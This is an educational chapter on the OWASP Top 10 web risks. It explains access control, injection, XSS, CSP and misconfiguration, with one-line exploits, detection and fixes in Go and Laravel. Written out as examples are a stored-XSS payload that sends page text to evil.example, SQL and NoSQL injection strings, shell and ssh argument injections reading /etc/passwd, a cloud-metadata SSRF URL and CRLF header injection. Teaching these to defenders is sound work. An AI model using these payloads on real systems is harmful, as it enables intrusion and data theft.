OWASP Top 10: Injection, XSS, CSRF and Friends
"The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications." — OWASP Top 10:2025, Home
Summary: Almost every breach of a web application is one of a dozen mechanisms: the server trusts an identifier it should check (access control), lets data become code (injection, XSS), runs with defaults nobody reviewed (misconfiguration), ships a library with a known hole (components), or lets the browser and the network be used against it (CSRF, SSRF, clickjacking). This chapter walks the OWASP Top 10 (the 2021 list that most audits and contracts still cite, and the 2025 edition that replaced it), plus the "friends" that sit around it, with the exact exploit, how you detect it, and the fix in Go and Laravel 13. Focus: A01 to A10 of 2021 (IDOR, path traversal, CORS misconfiguration, privilege escalation, SQL/NoSQL/command/LDAP/template injection, second-order injection, reflected/stored/DOM XSS, output encoding contexts, CSP nonces and strict-dynamic, Trusted Types, sanitisers, insecure design, default credentials, APP_DEBUG, XXE, security headers, SCA and SBOM, insecure deserialization and gadget chains, SRI, CI/CD integrity, log injection, SSRF and 169.254.169.254, DNS rebinding), the 2025 changes, and CSRF, clickjacking, open redirect, mass assignment, TOCTOU double spend, file uploads, request smuggling, header injection, prototype pollution, business-logic abuse; testing with SAST/DAST/IAST, ZAP, Burp, semgrep, gosec, PHPStan; bug bounty basics. Learning goal: Given an endpoint, name which Top 10 category it can fall into, write the one-line exploit, say how a scanner or a log would detect it, and ship the fix in Go (database/sql placeholders, html/template, os.Root, a dialer IP check, strict decoding) and Laravel 13 (bindings, Blade escaping, PreventRequestForgery, the Fillable attribute, File::image(), a guarded HTTP client, a CSP nonce middleware), plus the CI checks (govulncheck, composer audit, gosec, semgrep) that keep it fixed.
This chapter owns application-level vulnerabilities: what the bug looks like in a handler and how to close it. The threat-modelling method (STRIDE, trust boundaries, defence in depth) is in Security foundations; who may do what (RBAC, ABAC, ReBAC) is in Authorization models; passwords, MFA and session tokens are in Authentication; cookies, SameSite and CORS mechanics are in Web sessions, cookies and CORS; TLS and key management are in Cryptography in practice; network firewalls, VPCs and egress control are in DDoS and network security; the delivery pipeline and incident response are in Secure SDLC. Database-side defences (roles, RLS, pgAudit) are in Database security.
Page map
| If you are looking for | Go to |
|---|---|
| The ten categories and the friends in three tables | Everything in one minute |
| Why the same bugs keep coming back | Why it exists |
| 2021 vs 2025, the data behind the list, CWE Top 25 | Where it comes from |
| IDOR, privilege escalation, force browsing, CORS | A01 Broken access control |
| Weak crypto, plaintext secrets | A02 Cryptographic failures |
| Prepared statements, ORM raw calls, second-order | SQL injection |
Mongo $ne, $where, operator injection | NoSQL injection |
sh -c, argument injection | Command injection |
| LDAP filters, SSTI, expression language | LDAP and template injection |
| Reflected, stored, DOM XSS, encoding contexts | XSS |
CSP nonce, strict-dynamic, Trusted Types, DOMPurify | CSP, Trusted Types and sanitisers |
| Threat modelling, abuse cases | A04 Insecure design |
Default credentials, APP_DEBUG, XXE, buckets | A05 Security misconfiguration |
| HSTS, nosniff, Referrer-Policy, Permissions-Policy | Security headers |
SCA, Dependabot, Renovate, govulncheck, SBOM | A06 Vulnerable components |
| Credential stuffing, session bugs | A07 Authentication failures |
unserialize, gadget chains, SRI, CI/CD | A08 Integrity failures |
| What to log, log injection, alerting | A09 Logging failures |
| Metadata endpoint, DNS rebinding, egress | A10 SSRF |
| Fail open, unhandled errors (new in 2025) | Exceptional conditions |
| Synchronizer token, SameSite, Fetch Metadata | CSRF |
Invisible iframes, frame-ancestors | Clickjacking |
?next=https://evil.example | Open redirect |
role=admin in a JSON body, $fillable | Mass assignment |
| Double spend, coupon reuse, TOCTOU | Race conditions |
| Content sniffing, image bombs, web shells | File upload |
| CL.TE, TE.CL, CRLF in headers | Request smuggling and header injection |
__proto__ in JSON | Prototype pollution |
| Abuse that breaks no rule of HTTP | Business-logic abuse |
| Headers, status codes, gosec rule ids | Mechanics |
| Code | Go, Laravel |
| Pentest findings and how to close them | Solving the classic problems |
| SAST, DAST, IAST, ZAP, Burp, bug bounty | Testing |
| Which control for which endpoint | Choosing |
| Monolith to distributed system | In architecture |
| Hands-on | Lab |
Everything in one minute
The 2021 list (still the one most audits, contracts and scanners map to). Each row is unpacked in the catalogue.
| 2021 category | In plain words | Tiny exploit | First fix |
|---|---|---|---|
| A01 Broken Access Control | The server does not check that this user may touch this object | GET /invoices/1002 while logged in as the owner of 1001 | Check ownership on every request, deny by default |
| A02 Cryptographic Failures | Data is readable or forgeable by someone it should not be | Passwords hashed with MD5; HTTP login form | TLS everywhere, Argon2id/bcrypt, AEAD, managed keys |
| A03 Injection | Input becomes code in an interpreter (SQL, shell, HTML, LDAP) | email=x' OR '1'='1 | Parameterise; encode output per context |
| A04 Insecure Design | The flow itself allows abuse, even with perfect code | Unlimited password-reset attempts by design | Threat model, abuse cases, limits in the design |
| A05 Security Misconfiguration | Defaults, debug pages, open buckets, missing headers | APP_DEBUG=true shows the stack trace and env | Hardened config as code, headers middleware |
| A06 Vulnerable and Outdated Components | A dependency has a published CVE | Old image library with a known RCE | SCA in CI, govulncheck, composer audit, SBOM |
| A07 Identification and Authentication Failures | Login, sessions or recovery are weak | Credential stuffing with no rate limit | MFA, rate limits, session rotation |
| A08 Software and Data Integrity Failures | Code or data is trusted without verifying where it came from | unserialize($_COOKIE['cart']) | Signed payloads, data-only formats, signed builds, SRI |
| A09 Security Logging and Monitoring Failures | Attacks happen and nobody notices | 10,000 failed logins, no alert | Log security events, alert on them, protect logs |
| A10 Server-Side Request Forgery | The server fetches a URL the attacker picked | url=http://169.254.169.254/latest/meta-data/ | Allowlist, IP check at connect time, egress control |
What changed in 2025. The 2025 introduction says: "There are two new categories and one consolidation in the Top Ten for 2025."
| 2025 | Came from | What changed |
|---|---|---|
| A01 Broken Access Control | A01:2021 + A10:2021 SSRF | SSRF "has been rolled into this category" |
| A02 Security Misconfiguration | A05:2021 | Up from 5 to 2 |
| A03 Software Supply Chain Failures | A06:2021 widened | Builds, distribution and update channels, not only vulnerable libraries |
| A04 Cryptographic Failures | A02:2021 | Down two places |
| A05 Injection | A03:2021 | Down two; still includes XSS |
| A06 Insecure Design | A04:2021 | Down two |
| A07 Authentication Failures | A07:2021 renamed | "Identification and" dropped |
| A08 Software or Data Integrity Failures | A08:2021 | Narrowed to lower-level integrity checks |
| A09 Security Logging and Alerting Failures | A09:2021 renamed | Alerting emphasised |
| A10 Mishandling of Exceptional Conditions | new | Error handling, failing open, logic on abnormal states |
The friends. Not separate Top 10 entries (most map into A01, A03, A04, A05 or A08), but every review checklist contains them.
| Friend | Plain words | Tiny exploit | Fix |
|---|---|---|---|
| CSRF | Your browser sends your cookie on a request an evil page triggered | Hidden form posting to /transfer | Sec-Fetch-Site check + synchronizer token, SameSite |
| Clickjacking | Your page is framed invisibly and the user clicks the real button | <iframe> with opacity 0 over a "win a prize" button | frame-ancestors 'none' |
| Open redirect | Your domain bounces users to the attacker | /login?next=https://evil.example | Local paths only |
| Mass assignment | The client sets fields the form never had | {"role":"admin"} | Input DTO / Fillable allowlist |
| Race / TOCTOU | Two requests pass the same check before either writes | Redeem one coupon twice in parallel | Atomic conditional update, unique keys, locks |
| File upload | The file is code, a bomb or a path | avatar.php, 50,000 x 50,000 PNG | Sniff, size and pixel caps, random name, store off web root |
| Request smuggling | Front end and back end disagree where a request ends | Content-Length + Transfer-Encoding | HTTP/2 end to end, reject ambiguous requests |
| Header injection | CR/LF in input splits a header | next=/%0d%0aSet-Cookie:... | Reject control characters; framework header APIs |
| Prototype pollution | JSON key __proto__ changes every object in a JS process | {"__proto__": {"isAdmin": true} } | Null-prototype objects, schema validation |
Why it exists
Every web application is a translator. It takes bytes from strangers and turns them into SQL, shell commands, HTML, file paths, outbound URLs and object graphs. Each of those targets has its own grammar, and the moment a stranger's bytes are allowed to change the grammar rather than only fill a slot in it, the stranger is writing your program. The second source of bugs is identity: the request says who it is from and what it wants, and the server forgets to ask "may this user do this to that object?". The third is everything around the code: configuration, dependencies, build pipelines and logs.
| Choice | Gain | Cost |
|---|---|---|
| Build strings from input | Quick to write, flexible | Every interpreter becomes an injection point |
| Separate code and data (placeholders, argv, templates) | Injection becomes impossible by construction | Identifiers and sort orders need an allowlist |
| Trust the client's identifiers | Simple handlers | IDOR on every object type |
| Check authorization per object, deny by default | Holds even when routes are guessed | A policy layer and tests for it |
| Framework defaults (auto-escaping, CSRF middleware) | Most bugs closed without thinking | Escape hatches ({!! !!}, template.HTML, whereRaw) reopen them silently |
| Strict CSP, Trusted Types | XSS that slips through cannot run | Inline scripts and some third-party widgets must be refactored |
| Fetch URLs for users | Link previews, webhooks, imports | The server becomes a proxy into your network (SSRF) |
| Dependencies | Speed | Their CVEs are your CVEs; a supply chain to secure |
An everyday picture. A bank branch. Customers hand slips to a teller. Injection is a slip that says "pay 10 to Bob; also open the vault", and a teller who reads the whole slip as instructions. Parameterisation is a printed form with boxes: whatever is written in the amount box is only ever an amount. Broken access control is a teller who hands over any safe-deposit box whose number you can recite. CSRF is someone slipping a filled-in form into your pocket that you hand over without looking. SSRF is a customer asking the teller to phone a number "for them", and the number is the vault's internal line. We reuse this branch throughout.
Three common misunderstandings, up front
- "We use an ORM, so we cannot have SQL injection." The ORM binds values in its normal methods;
whereRaw,orderByRaw,DB::raw,selectRaw, column names from input and string-built JPQL/HQL are all injectable. The Laravel docs say: "PDO does not support binding column names." - "Input validation fixes XSS and injection." Validation narrows what arrives; it does not know where the value will be used. The fix is output-side: placeholders for SQL, argv for commands, context-aware encoding for HTML. Validate as well, but never as the only layer.
- "We are behind a firewall, so SSRF and internal APIs are safe." SSRF uses your server, which is inside the firewall. The 2021 A10 text says the attacker can "coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL)."
Where it comes from
- OWASP (Open Worldwide Application Security Project) publishes the Top 10 as an awareness document. The 2025 introduction calls it "the 8th installment of the OWASP Top Ten"; the previous one was 2021, whose index page still lists A01 Broken Access Control through A10 Server Side Request Forgery (SSRF).
- 2021 data. Broken Access Control moved up from fifth: "94% of applications were tested for some form of broken access control", with "over 318k" occurrences. Injection slid to third, with 33 CWEs mapped and 274,228 occurrences; the 2021 page lists SQL, NoSQL, OS command, ORM, LDAP and EL/OGNL injection and says "Source code review is the best method of detecting if applications are vulnerable to injections". SSRF entered from the community survey with a single CWE.
- 2025 data. The 2025 release ranks 12 categories from data and promotes two from the community survey; data "for over 2.8 millions applications" and about 175k CVE records mapped to CWEs. SSRF is folded into A01; A06:2021 becomes A03:2025 Software Supply Chain Failures; A10:2025 Mishandling of Exceptional Conditions is new with 24 CWEs. Injection "includes a range of issues from Cross-site Scripting (high frequency/low impact) to SQL Injection (low frequency/high impact)".
- CWE Top 25 (MITRE, 2025). The weakness-level list agrees with the Top 10 on what matters on the web: rank 1 is CWE-79 Cross-site Scripting, 2 is CWE-89 SQL Injection, 3 is CWE-352 CSRF, 4 is CWE-862 Missing Authorization, 6 is CWE-22 Path Traversal, 9 is CWE-78 OS Command Injection, 12 is CWE-434 unrestricted upload, 15 is CWE-502 deserialization, 22 is CWE-918 SSRF, 24 is CWE-639 (the IDOR weakness).
- OWASP Cheat Sheet Series is the "how to fix" companion (SQL injection, XSS, CSRF, SSRF, file upload, mass assignment, deserialization, CSP, HTTP headers); OWASP ASVS (Application Security Verification Standard) is the testable requirement list you put in contracts; PortSwigger Web Security Academy is the free training ground for request smuggling, SSRF, XSS and race conditions.
- Version note. This page quotes the 2025 release pages as published at owasp.org/Top10/2025 (read 2026-11-26) and the 2021 pages at owasp.org/Top10/2021. When a contract says "OWASP Top 10", ask which year.
The concept catalogue
A01 Broken access control: IDOR, privilege escalation, force browsing, CORS Must-know
In plain words: The server authenticates you, then believes whatever object id, role or URL you send. The teller checks your ID card and then hands over whichever deposit box number you say.
Common misunderstanding: "The id is a UUID, so nobody can guess it." Ids leak in URLs, emails, logs, referrers and shared links; unguessable ids reduce enumeration but are not authorization. The check "does this user own this object?" has to run on every request.
Definition: Access control "enforces policy such that users cannot act outside of their intended permissions" (OWASP 2021 A01). Failures include: IDOR (insecure direct object reference, CWE-639), horizontal privilege escalation (another user's data at the same level), vertical privilege escalation (user to admin), force browsing to unlinked admin URLs, missing checks on POST/PUT/DELETE while GET is protected, tampering with JWT claims or hidden fields, path traversal (CWE-22, a file-system IDOR), and CORS misconfiguration that "allows API access from unauthorized/untrusted origins". In 2025 SSRF also lives here.
Ana (user 41) API
1 GET /api/invoices/1001 -> 200, invoice of user 41 (hers)
2 GET /api/invoices/1002 -> 200, invoice of user 57 (IDOR: no owner check)
3 PATCH /api/users/41 {"role":"admin"} -> 200 (vertical escalation via mass assignment)
4 GET /admin/export -> 200 (force browsing: route not in the menu, not protected)
5 fix: SELECT ... WHERE id = $1 AND tenant_id = $2 AND owner_id = $3 -> 404 for 1002Real scenario: a billing portal where invoice numbers are sequential; a mobile API that protects the screen but not the endpoint; a multi-tenant SaaS where tenant_id comes from the request body; an S3 presigned URL generator that signs any key the client names; a CORS policy that reflects any Origin with Access-Control-Allow-Credentials: true, letting any site read the logged-in user's data.
| Variant | Where it hides | Detection | Fix |
|---|---|---|---|
| IDOR | /{id} routes, GraphQL node(id:), file keys | Two test users, swap ids (Burp Autorize-style replay) | Scope every query by owner/tenant; policy check |
| Vertical escalation | Admin endpoints, role fields | Call admin APIs with a user token | Deny by default; role check in middleware and policy |
| Force browsing | Unlinked URLs, old API versions | Directory brute force, API spec diff | Route-level auth on everything, remove dead routes |
| Path traversal | Download/export by filename | ../ payloads, gosec G304 | os.Root, allowlisted ids instead of names |
| CORS misconfiguration | Origin reflection, null origin, suffix matches | curl -H 'Origin: https://evil.example' | Exact origin allowlist, Vary: Origin |
| Metadata tampering | JWT role claim, hidden price field | Modify and replay | Server-side state, verify signatures, never trust client price |
Fix / how to use it: SQL first: put the owner in the WHERE (see Solving). Go: path traversal with os.Root and owner-scoped queries. Laravel: Gate::authorize('update-post', $post) or a policy, plus queries scoped through the relation ($request->user()->invoices()->findOrFail($id)). The full models (RBAC/ABAC/ReBAC, policy engines) are in Authorization models; CORS mechanics are in Web sessions and CORS.
A02 Cryptographic failures Important
In plain words: Data that should be secret or tamper-proof is not: it travels without TLS, is stored in clear, or is protected by a broken algorithm or a key in the repository.
Common misunderstanding: "We encrypt the database, so we are fine." Disk encryption protects a stolen disk, not an attacker who reads through your application or a backup bucket; passwords still need a slow hash, tokens still need a CSPRNG.
Definition: The 2021 A02 category (A04 in 2025) covers missing transport encryption, weak or home-made algorithms, MD5/SHA-1 for passwords, ECB mode, reused IVs/nonces, predictable randomness (math/rand, rand()), hard-coded keys, missing certificate validation (InsecureSkipVerify, gosec G402) and sensitive data kept longer than needed.
| Smell | Detection | Fix (owned elsewhere) |
|---|---|---|
http:// login or API | TLS scan, HSTS missing | TLS everywhere + HSTS (Cryptography in practice) |
md5($password), sha1 | gosec G401, code search | Argon2id or bcrypt (Password hashing) |
InsecureSkipVerify: true | gosec G402 | Fix the CA chain instead |
Key in .env committed to git | Secret scanning (gitleaks, GitHub push protection) | Secrets manager, rotation |
Token from math/rand | Code review, gosec G404 | crypto/rand, random_bytes() |
Fix / how to use it: Use the library's high-level API (Go crypto/cipher AEAD, Laravel Crypt and Hash), never your own construction; the primitives are in Cryptography fundamentals.
SQL injection: prepared statements, ORM pitfalls, second-order Must-know
In plain words: The query is built by gluing input into SQL text, so a quote in the input ends your string and the rest of the input is parsed as SQL.
Common misunderstanding: "I escape quotes, so it is safe." The OWASP SQL Injection Prevention Cheat Sheet: "Do not manually escape untrusted values to construct SQL queries. Use parameterized queries instead." Escaping depends on dialect, connection character set and context (numbers, LIKE, identifiers), and fails in ways you will not test for.
Definition: "A SQL injection attack occurs when untrusted data (usually strings) becomes part of a query's SQL syntax, modifying the logic of the SQL request." The resolution the cheat sheet gives: "define the SQL structure separately from its data values, then bind those values through the database API": parameterised queries (prepared statements, $1 in PostgreSQL, ? in MySQL/SQLite) for values, and "fixed application-owned choices for dynamic table names, column names, sort order (ASC, DESC)". Variants: classic in-band (UNION SELECT), error-based (database error messages leak data), boolean- and time-based blind (AND pg_sleep(5)), out-of-band (DNS lookups from the database), stacked queries (; DROP TABLE), and second-order injection: a value is stored safely, then later read back and concatenated into another query, because "it came from our own database".
Attacker App PostgreSQL
1 signup name = "x'||(SELECT password FROM users WHERE id=1)||'"
2 INSERT ... VALUES ($1) (bound: stored verbatim, safe)
3 (days later) admin opens "report by name"
4 q := "SELECT * FROM orders WHERE customer = '" + storedName + "'"
5 parses the stored text as SQL
6 report now shows the admin password hash (second-order injection)
7 fix: line 4 binds storedName as $1 too; "data from our database" is still untrustedReal scenario: search boxes and filters (LIKE '%...%'), ORDER BY from a sortable table header, reports built from saved filters (second-order), a "custom field" feature that becomes column names, IN (...) lists built by joining ids, stored procedures that build dynamic SQL inside the database (EXECUTE 'SELECT ...' || p_name).
| Layer | Safe | Injectable |
|---|---|---|
Go database/sql / pgx | db.QueryContext(ctx, "... WHERE id = $1", id) | fmt.Sprintf or + into the query (gosec G201/G202) |
| GORM | db.Where("email = ?", e) | db.Where(fmt.Sprintf("email = '%s'", e)), Order(userInput) |
| Laravel query builder / Eloquent | where('email', $e), whereLike, selectRaw('... ?', [$x]) | whereRaw("email = '$e'"), orderByRaw($sort), DB::select("... $x"), where($column, ...) with user column |
| PostgreSQL PL/pgSQL | EXECUTE format('SELECT ... WHERE id = %L', p_id) or USING | EXECUTE 'SELECT ... ' || p_id |
| MySQL / PDO | Native prepares (PDO::ATTR_EMULATE_PREPARES=false) with bound params | Emulated prepares with a wrong client charset (historic multi-byte bypass) |
| Identifiers | Map to an allowlist; quote_ident / pgx.Identifier.Sanitize only for schema tools | Any identifier taken from input |
Fix / how to use it: SQL:
-- PostgreSQL: a prepared statement; the parameter is never parsed as SQL
PREPARE find_user(text) AS SELECT id, email, role FROM users WHERE email = $1;
EXECUTE find_user('x'' OR ''1''=''1'); -- 0 rows: the whole string is one email
-- Dynamic SQL inside the database: format() with %I (identifier) and %L (literal), or USING
CREATE FUNCTION orders_by(p_col text, p_customer text) RETURNS SETOF orders LANGUAGE plpgsql AS $$
BEGIN
IF p_col NOT IN ('created_at', 'total') THEN RAISE EXCEPTION 'bad sort %', p_col; END IF;
RETURN QUERY EXECUTE format('SELECT * FROM orders WHERE customer = $1 ORDER BY %I DESC', p_col) USING p_customer;
END $$;
-- Least privilege limits the blast radius when a bug slips through
REVOKE ALL ON ALL TABLES IN SCHEMA public FROM app_web;
GRANT SELECT, INSERT, UPDATE ON orders, order_items TO app_web;Go: sqli/after.go binds values and takes ORDER BY from a map. Laravel: PostSearchController validates sort with Rule::in and binds the term; the docs warn: "Raw statements will be injected into the query as strings, so you should be extremely careful to avoid creating SQL injection vulnerabilities." More depth on roles and RLS: Database security; ORM traps: ORM pitfalls.
NoSQL and operator injection Important
In plain words: A document database query is a JSON object, so if the client can send an object where you expected a string, it can send an operator such as {"$ne": null}.
Common misunderstanding: "MongoDB has no SQL, so there is no injection." The 2021 A03 list names NoSQL injection explicitly; the grammar is JSON operators and JavaScript ($where) instead of SQL.
Definition: Operator injection: POST /login {"user": "admin", "password": {"$ne": ""} } turns db.users.findOne({user, password}) into "any password that is not empty". Also $regex for data extraction, $where/$function/mapReduce running server-side JavaScript, and $lookup/aggregation stages built from input. Redis has the same class with EVAL scripts built by string concatenation.
1 client sends {"user": "admin", "password": {"$ne": ""} }
2 Node/PHP app users.findOne({ user: body.user, password: body.password })
3 MongoDB sees { user: "admin", password: { $ne: "" } } -> matches admin
4 fix cast to string / schema-validate: password must be type string| Store | Injection form | Fix |
|---|---|---|
| MongoDB | $ne, $gt, $regex, $where from decoded JSON | Decode into typed structs (Go bson into string fields), reject objects, disable server-side JS (--noscripting, security.javascriptEnabled: false) |
| Laravel + MongoDB package | where('password', $request->input('password')) receives an array | Validate 'password' => ['required', 'string'] |
| Redis | EVAL with script text built from input | Fixed script text, pass data in KEYS/ARGV |
| Elasticsearch | Query DSL / query_string from input | Build queries server-side; use match, not query_string |
Fix / how to use it: In Go, decoding into a struct with string fields makes {"$ne":""} a type error. In Laravel, the string validation rule rejects arrays. MongoDB specifics are in MongoDB in depth.
OS command injection and argument injection Must-know
In plain words: The app runs a program through a shell with input inside the command line, so ;, |, $( ) or backticks in the input start new commands.
Common misunderstanding: "No shell, so no injection." Without a shell you cannot chain commands, but you can still inject arguments: a value starting with - becomes an option (--output=/var/www/shell.php, -oProxyCommand= for ssh, --upload-pack for git).
Definition: CWE-78 (rank 9 in CWE Top 25 2025). Defences in order: do not call a program (use a library: image processing, DNS, mail); if you must, no shell (argv array), allowlist the value, and end option parsing with --. The OWASP OS Command Injection Defense Cheat Sheet treats escaping (escapeshellarg) as the last resort.
1 input host = "example.com; cat /etc/passwd"
2 before: sh -c "ping -c 1 example.com; cat /etc/passwd" -> two commands
3 after: argv = ["ping","-c","1","--","example.com; cat /etc/passwd"] -> rejected by the hostname allowlist
4 input host = "-oProxyCommand=id" (ssh) -> rejected: leading "-" not allowed, and "--" ends options| Language | Dangerous | Safer |
|---|---|---|
| Go | exec.Command("sh", "-c", "cmd " + x) (gosec G204) | exec.CommandContext(ctx, "cmd", "--", x) after validation |
| PHP | exec, shell_exec, system, passthru, backticks, proc_open with a string | proc_open([...]) array form, Symfony\Component\Process\Process(['cmd', '--', $x]) |
| Laravel | Process::run("convert {$path} out.png") (string goes to a shell) | Process::run(['convert', '--', $path, 'out.png']) (array, no shell) |
Fix / how to use it: Go cmdinject. For image conversion or PDF rendering, prefer a sandboxed worker with no network and no secrets, so a remaining bug cannot reach anything.
LDAP, template (SSTI) and expression-language injection Good to know
In plain words: Any mini-language you build from strings is injectable: LDAP filters, server-side templates, XPath, expression languages.
Common misunderstanding: "Templates are for HTML, so the risk is XSS." If user input becomes the template source rather than template data, it is server-side template injection (SSTI) and usually remote code execution.
Definition: LDAP injection: (&(uid= + input + )(objectClass=person)) with input *)(uid=*))(|(uid=* matches everyone; fix by escaping filter metacharacters * ( ) \ NUL per RFC 4515 (Go ldap.EscapeFilter in go-ldap, PHP ldap_escape($v, '', LDAP_ESCAPE_FILTER)). SSTI: rendering "Hello " + name as a template (the classic probe is a 7*7 expression inside template delimiters that renders as 49 in Jinja2 or Twig; Freemarker and Velocity have their own syntax; Go text/template with attacker-controlled source can call exported methods). Expression language / OGNL injection is the Java variant behind several Struts CVEs.
| Mini-language | Probe | Fix |
|---|---|---|
| LDAP filter | *)(uid=* | Escape per RFC 4515; bind with the user's DN rather than search with input |
Go text/template, html/template | Input passed to Parse | Never parse user input; templates come from files you ship |
| Blade | Blade::render($userString) | Never render user strings as Blade; user content is data in a fixed view |
| Twig / Jinja2 / Freemarker | 7*7 evaluates to 49 | Sandboxed environments, fixed templates |
| XPath | ' or '1'='1 | Parameterised XPath (variables) |
Fix / how to use it: Templates live in the repository; user text only ever reaches Execute/render as data.
XSS: reflected, stored and DOM-based; output encoding by context Must-know
In plain words: The page shows user data, and the browser reads that data as markup or script, so the attacker's JavaScript runs in your origin with the victim's session.
Common misunderstanding: "HttpOnly cookies make XSS harmless." HttpOnly stops document.cookie theft; the injected script still sends requests as the user (with cookies and CSRF tokens it can read from the page), reads the DOM, and can rewrite the login form. The CSRF cheat sheet: "Cross-Site Scripting (XSS) can defeat all CSRF mitigation techniques!"
Definition: XSS is injection into HTML/JavaScript (CWE-79, rank 1 in CWE Top 25 2025; part of A03:2021 and A05:2025). Reflected XSS: the payload is in the request and echoed in the response (/search?q=<script>...). Stored XSS: saved (comment, profile, file name) and served to every viewer. DOM XSS: client JavaScript moves data from a source (location.hash, postMessage, document.referrer) into a sink (innerHTML, eval, script.src); the server may never see the payload. The fix is output encoding chosen by context (context-aware escaping); the XSS cheat sheet: "Since no single technique will solve XSS, using the right combination of defensive techniques will be necessary to prevent XSS."
Attacker Server Victim browser
1 POST /comments body="<img src=x onerror=fetch('//evil.example/?c='+document.body.innerText)>"
2 stores the comment
3 GET /post/7
4 renders comment with text/template or {!! !!}
5 <img onerror> runs in your origin (stored XSS)
6 fix: escaped output -> <img src=x onerror=...> displayed as text; CSP blocks inline handlers anyway| Context | Example sink | Encoding | Go html/template | Blade |
|---|---|---|---|---|
| HTML body | <p>VALUE</p> | HTML entity (< &) | automatic | double-curly echo |
| HTML attribute (quoted) | title="VALUE" | Attribute encoding, always quote | automatic | double-curly echo inside quotes |
URL in href/src | href="VALUE" | Validate scheme (https:), then URL-encode | unsafe schemes become #ZgotmplZ | check https:// yourself |
| JavaScript string | const x = VALUE | JS string escaping / JSON | automatic (emits a quoted literal) | Js::from($value) |
| CSS | style="color: VALUE" | Avoid; strict allowlist | ZgotmplZ for unsafe values | avoid |
| Dangerous contexts | inside <script> code, event handlers, eval | Do not place data there | refuses or escapes | never |
Real scenario: search pages echoing q; markdown comments rendered to HTML; admin panels showing user agents (stored XSS against admins is the classic privilege escalation); SVG uploads; JSON embedded in a <script> block with </script> inside a string; single-page apps using dangerouslySetInnerHTML or v-html.
Fix / how to use it: Go xss: the same template under text/template is injectable and under html/template is escaped per context; the package docs state "The escaping is contextual, so actions can appear within JavaScript, CSS, and URI contexts." Laravel: Blade's double-curly echo "is automatically sent through PHP's htmlspecialchars function to prevent XSS attacks"; the raw echo is for HTML you sanitised. Rendering is covered in html/template.
CSP, nonces, strict-dynamic, Trusted Types and sanitisers Must-know
In plain words: A Content Security Policy is a header that tells the browser which scripts may run. With a nonce-based policy only <script> tags carrying this response's random nonce run, so injected markup cannot execute even if escaping failed somewhere.
Common misunderstanding: "A domain allowlist CSP (script-src 'self' cdn.example.com) stops XSS." Allowlists are routinely bypassed through JSONP endpoints, old library versions and open redirects on allowed hosts; the OWASP CSP cheat sheet's "Strict Policy" is nonce- or hash-based, not host-based.
Definition: The OWASP nonce-based strict policy:
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';CSP nonce: fresh random value (at least 128 bits) per response, put on each legitimate <script nonce="...">. strict-dynamic: scripts loaded by an already trusted script are trusted too, so bundlers and tag managers work without listing hosts; MDN notes it "does make your CSP less secure, though, because if the scripts you include create <script> elements based on potential sources of XSS, then the CSP will not protect them." frame-ancestors replaces X-Frame-Options. report-to/report-uri and Content-Security-Policy-Report-Only let you roll out without breaking. Trusted Types (require-trusted-types-for 'script') makes DOM sinks such as innerHTML, eval and script.src refuse plain strings; code must pass a value produced by a named policy (which typically runs a sanitiser). A sanitiser (HTML sanitizer) such as DOMPurify (browser), HTML Purifier or symfony/html-sanitizer (PHP), or bluemonday (Go) removes dangerous tags and attributes from rich text; OWASP: "OWASP recommends DOMPurify for HTML Sanitization."
1 response 1: CSP script-src 'nonce-Q2x...' 'strict-dynamic' page has <script nonce="Q2x..." src=/app.js>
2 app.js creates <script src=/chunk.js> allowed by strict-dynamic
3 injected comment contains <script>steal()</script> no nonce -> blocked, report sent
4 injected <img onerror=...> inline handler -> blocked
5 response 2 has a new nonce; a nonce copied from response 1 is useless| Control | Stops | Does not stop | Product notes |
|---|---|---|---|
Nonce CSP + strict-dynamic | Injected inline and external scripts, inline handlers | Script gadgets in your own trusted code, HTML-only injection (forms, links) | Laravel Vite::useCspNonce(); Go middleware here; Google's strict CSP guidance |
| Hash CSP | Same, for static pages | Dynamic inline scripts | Good for static sites behind a CDN |
| Host allowlist CSP | Little | JSONP and library gadgets on allowed hosts | Avoid as the main control |
| Trusted Types | DOM XSS at sinks | Server-side XSS without CSP | Chromium-based browsers; others ignore the directive |
| Sanitiser | Script in user rich text | Misuse after sanitising (mutation XSS) | DOMPurify, HTML Purifier, bluemonday |
HttpOnly cookie | Cookie theft by script | Actions as the user | Every session cookie |
Fix / how to use it: Go headers.Secure issues a nonce per request and exposes it to templates; Laravel SecurityHeaders calls Vite::useCspNonce(); the Laravel docs: "After invoking the useCspNonce method, Laravel will automatically include the nonce attributes on all generated script and style tags." Start in Report-Only, watch reports, then enforce.
A04 Insecure design Important
In plain words: The code does exactly what the design says, and the design lets an attacker win: unlimited guesses, a reset flow that reveals whether an email exists, a referral bonus with no limit.
Common misunderstanding: "A pentest will find it." Scanners find implementation bugs; design flaws need someone asking "how would I abuse this?" before the code exists.
Definition: A04:2021 (A06:2025) is about missing or ineffective controls in the design: no threat model, no abuse cases, no limits, trust boundaries drawn in the wrong place. The tools are threat modelling (STRIDE per data flow), security requirements from OWASP ASVS, abuse cases next to use cases, and reference architectures (paved roads).
| Design flaw | Abuse | Design fix |
|---|---|---|
| Unlimited OTP attempts | Brute force a 6-digit code (1,000,000 tries) | Attempt counter per code and per account, short expiry |
| Price in the client | Edit the cart price | Price computed server-side from catalogue |
| One discount check per request | Stack discounts in parallel | Unique constraint on redemption, atomic checks |
| Account enumeration in reset | Harvest valid emails | Same response and timing for unknown emails |
| Webhooks without signatures | Forge payment success | HMAC signatures, replay window, idempotency |
Fix / how to use it: Run the method in Security foundations on each new flow; write the limits (rates, quotas, expiries) into the ticket, not into a later hardening sprint.
A05 Security misconfiguration: defaults, debug mode, XXE, open buckets Must-know
In plain words: The software is fine; the way it is switched on is not: default passwords, a debug page that prints secrets, directory listing, an XML parser that fetches external entities, a storage bucket readable by the internet.
Common misunderstanding: "Debug mode only shows a stack trace." Laravel's configuration docs: "If the variable is set to true in production, you risk exposing sensitive configuration values to your application's end users." Debug pages have exposed environment variables, database credentials and APP_KEY, which in turn decrypts and forges cookies.
